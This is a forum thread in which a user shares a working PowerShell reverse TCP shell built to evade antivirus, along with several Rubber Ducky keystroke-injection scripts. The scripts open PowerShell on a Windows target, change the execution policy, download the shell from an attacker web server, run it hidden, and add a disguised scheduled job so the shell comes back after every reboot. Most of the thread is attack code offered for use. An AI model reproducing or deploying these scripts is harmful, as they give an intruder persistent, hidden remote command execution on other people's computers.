Jump to content

Reverse TCP Shell using MS Powershell only


basic4

Recommended Posts

Reverse TCP Shell using Powershell Only

Hi Guys.  

I was having problems getting a payload for the ducky that wasn't detected by Kaspersky, AVG etc. So I started to look into the possibility of using Powershell only to create a reverse TCP shell. I found some promising base code on a Powershell site and made some additions/adaptations for connection resilience and error handling. Now, the nice thing about this PS script is that it's compatible with a netcat listener!  Should be very easy to utilize this via a ducky script on my 'WiDucky'. (Wifi enabled ducky -  https://github.com/basic4/WiDucky)

Just setup a netcat listener on the attacker machine with:  nc -l 6673 

I've added code for the script to automatically reconnect to the attacker if connection is lost, and the script also returns shell error text to the listener too.

The Powershell Script itself (could still use some tidying up - but works perfectly as is :)

while (1 -eq 1)
{
    $ErrorActionPreference = 'Continue';
    try
    {
        #attempt inital connection
        $client = New-Object System.Net.Sockets.TCPClient("192.168.0.17",6673);
        $stream = $client.GetStream();
        [byte[]]$bytes = 0..255|%{0};
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Client Connected..."+"`n`n" + "PS " + (pwd).Path + "> ");
        $stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush();
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $recdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
            if($recdata.StartsWith("kill-link")){ cls; $client.Close(); exit;}
            try
            {
                #attempt to execute the received command
                $sendback = (iex $recdata 2>&1 | Out-String );
                $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
            }
            catch
            {
                $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
                $sendback2  =  "ERROR: " + $error[0].ToString() + "`n`n" + "PS " + (pwd).Path + "> ";
                cls;
            }
            $returnbytes = ([text.encoding]::ASCII).GetBytes($sendback2);
            $stream.Write($returnbytes,0,$returnbytes.Length);$stream.Flush();          
        }
    }
    catch 
    {
        #an initial connection error - close and wait 30 secs then retry
        if($client.Connected)
        {
            $client.Close();
        }
        cls;
        Start-Sleep -s 30;
    }     
}

This is my first powershell script. But given how easy it was to get this working, I'm certainly going to use it more.

Regards,

Basic4.

 

PS_TCP4.ps1

Edited by basic4
Link to comment
Share on other sites

I've used the powershell script above (PSD_TCP4.ps1) in a ducky script and it works perfectly on Win7 & 10!

Setup

Set up my 'evil server' on a Raspberry Pi3  (webserver on port 80 and netcat listening on port 6673)

The ducky script then runs on a windows 7/10 target:

1. Opens powershell on the target.

2. Downloads the reverse shell payload script.

3. Executes it thus forming a link back to netcat  running on the Raspberry Pi3.

Ducky script:

REM Opens a reverse shell to back to netcat on 192.168.0.17:6673
REM Downloads payload from a webserver on 192.168.0.17:80 (see PS_TCP4.ps1 script)
DELAY 2000
GUI
DELAY 800
STRING powershell.exe
ENTER
DELAY 2000
STRING $dirx = "C:\Users\" + [Environment]::UserName + "\Documents";
DELAY 70
ENTER
DELAY 50
STRING $fullpath = $dirx + "\PS_TCP4.ps1";
DELAY 70
ENTER
DELAY 50
STRING Invoke-WebRequest -Uri "http://192.168.0.17/PS_TCP4.ps1" -OutFile $fullpath;
DELAY 50
ENTER
REM delay here to ensure download is complete
DELAY 3500
STRING cd $dirx;
ENTER
DELAY 100
STRING powershell.exe -windowstyle hidden {./PS_TCP4.ps1}
DELAY 100
ENTER

Conclusions

This seems to work very well and doesn't get Kaspersky's attention at all. I'm sure that the ducky script could be improved greatly. But I'm happy the proof-of-concept is sound.

reverseshell.jpg

Edited by basic4
Link to comment
Share on other sites

Better to parameterise the destination address and port of the attacker machine in the powershell script. Makes things easier to change dynamically - if required.

Example : ./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673

 

param([String]$dest,
      [Int32]$port
     );
while (1 -eq 1)
{
    $ErrorActionPreference = 'Continue';
    try
    {
        #attempt inital connection
        $client = New-Object System.Net.Sockets.TCPClient($dest,$port);
        $stream = $client.GetStream();
        [byte[]]$bytes = 0..255|%{0};
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Client Connected..."+"`n`n" + "PS " + (pwd).Path + "> ");
        $stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush();
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $recdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
            if($recdata.StartsWith("kill-link")){ cls; $client.Close(); exit;}
            try
            {
                #attempt to execute the received command
                $sendback = (iex $recdata 2>&1 | Out-String );
                $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
            }
            catch
            {
                $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
                $sendback2  =  "ERROR: " + $error[0].ToString() + "`n`n" + "PS " + (pwd).Path + "> ";
                cls;
            }
            $returnbytes = ([text.encoding]::ASCII).GetBytes($sendback2);
            $stream.Write($returnbytes,0,$returnbytes.Length);$stream.Flush();          
        }
    }
    catch 
    {
        #an initial connection error - close and wait 30 secs then retry
        if($client.Connected)
        {
            $client.Close();
        }
        cls;
        Start-Sleep -s 30;
    }       
}

Obviously we'd also have to change the appropriate call in the powershell ducky script...

       STRING powershell.exe -windowstyle hidden {./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673}

Also, on some Win10 machines, executing powershell scripts is disabled by default. But I seem to be able to get around that with a few extra lines in the ducky script which set execution policy for the current user. So Our new ducky script would be..

 

REM Opens a reverse shell to back to netcat on 192.168.0.29:6673
REM Downloads payload from a webserver on 192.168.0.29:80 (see PS_TCP4.ps1 script)
DELAY 2000
GUI
DELAY 2000
STRING powershell.exe
ENTER
DELAY 3000
REM first lets set the execution policy if possible
STRING Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
DELAY 50
ENTER
DELAY 750
STRING Y
DELAY 250
ENTER
DELAY 200
STRING $dirx = "C:\Users\" + [Environment]::UserName + "\Documents";
DELAY 70
ENTER
DELAY 50
STRING $fullpath = $dirx + "\PS_TCP4.ps1";
DELAY 70
ENTER
DELAY 50
STRING Invoke-WebRequest -Uri "http://192.168.0.29/PS_TCP4.ps1" -OutFile $fullpath;
DELAY 50
ENTER
REM delay here to ensure download is complete
DELAY 3500
STRING cd $dirx;
ENTER
DELAY 100
STRING powershell.exe -windowstyle hidden {./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673}
DELAY 100
ENTER
 

Edited by basic4
Link to comment
Share on other sites

illwill - Nice that download isn't required on your script.

I think I'll make a hybrid to get a non-download one, but still retain error control and connection recovery. I've also found a way to survive target reboot. Tested it yesterday and it works on Win7. Still need to confirm it will work on Win10. I'll post it up later today.

Link to comment
Share on other sites

Using a Scheduled Job to make the Reverse Powershell Survive Reboot

I've added a couple of lines to the powershell ducky script that schedules the reverse shell script to re-start after boot-up and logon by the user. This now gives us connection resilience and some degree of permanence, allowing the shell to reconnect to the server around 50 secs after a logon by our hijacked user.

 

REM Opens a reverse shell to back to netcat on 192.168.0.29:6673
REM Downloads payload from a webserver on 192.168.0.29:80 (see PS_TCP4.ps1 script)
REM MAP UK - for WifiDucky only.
DELAY 2000
GUI
DELAY 2500
STRING powershell.exe
DELAY 800
MENU
DELAY 500
STRING a
ENTER
DELAY 1200
ALT + Y
DELAY 250
ENTER
DELAY 3000
REM first lets set the execution policy if possible
STRING Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
DELAY 50
ENTER
DELAY 750
STRING Y
DELAY 250
ENTER
DELAY 200
STRING $dirx = "C:\Users\" + [Environment]::UserName + "\Documents";
DELAY 70
ENTER
DELAY 50
STRING $fullpath = $dirx + "\PS_TCP4.ps1";
DELAY 70
ENTER
DELAY 50
STRING Invoke-WebRequest -Uri "http://192.168.0.29/PS_TCP4.ps1" -OutFile $fullpath;
DELAY 50
ENTER
REM delay here to ensure download is complete
DELAY 3500
REM finally - attempt to make the shell survive a reboot
STRING $jobtrigger = New-JobTrigger -AtLogon -RandomDelay 00:00:50
DELAY 50
ENTER
DELAY 400
STRING Register-ScheduledJob -Trigger $jobtrigger -Scriptblock{cd $dirx; ./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673}  -Name "NetCheckRun"
DELAY 50
ENTER
DELAY 1200
STRING cd $dirx;
ENTER
DELAY 200
STRING powershell.exe -windowstyle hidden {./PS_TCP4.ps1 -dest 192.168.0.29 -port 6673}
DELAY 100
ENTER
DELAY 200
STRING exit
ENTER 

Using the command concat style outlined in illwill's script (see post above) it should be possible to 'self-write' the reverse shell script within the ducky script and circumvent the need to download the script.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...